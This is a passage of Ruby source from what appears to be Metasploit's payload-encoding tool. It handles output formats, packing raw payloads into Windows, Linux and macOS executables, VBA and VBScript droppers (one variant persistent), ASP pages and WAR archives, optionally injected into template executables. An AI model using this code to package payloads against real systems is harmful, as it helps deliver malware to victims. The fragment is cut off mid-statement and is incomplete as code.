exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
exe = Msf::Util::EXE.to_win64pe($framework, raw, {:insert => inject, :template => altexe})
end
write_encoded(exe)
when 'exe-small'
exe = nil
if(not arch or (arch.index(ARCH_X86)))
exe = Msf::Util::EXE.to_win32pe_old($framework, raw)
end
write_encoded(exe)
when 'elf'
elf = Msf::Util::EXE.to_linux_x86_elf($framework, raw)
write_encoded(elf)
when 'macho'
macho = Msf::Util::EXE.to_osx_x86_macho($framework, raw)
write_encoded(macho)
when 'vba'
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
vba = Msf::Util::EXE.to_exe_vba(exe)
write_encoded(vba)
when 'vbs'
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => false, :template => altexe})
write_encoded(vbs)
when 'loop-vbs'
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => true, :template => altexe})
write_encoded(vbs)
when 'asp'
asp = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:insert => inject, :persist => false, :template => altexe})
write_encoded(asp)
when 'war'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
tmp_plat ||= Msf::Module::PlatformList.transform('win')
exe = Msf::Util::EXE.to_executable($framework, arch, tmp_plat, raw, { :insert => inject, :template => altexe })
war = Msf::Util::EXE.to_jsp_war(exe, { :persist => false })
write_encoded(war)
else
if not output
fmt ||= "ruby"
write_encoded(Msf::Simple::Buffer.transform(raw, fmt))
output = Msf::Simple::Buffer.transform(raw, fmt)
end
if exeopts[:fellback]
$stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}")
end
write_encoded(output)
exit
rescue => e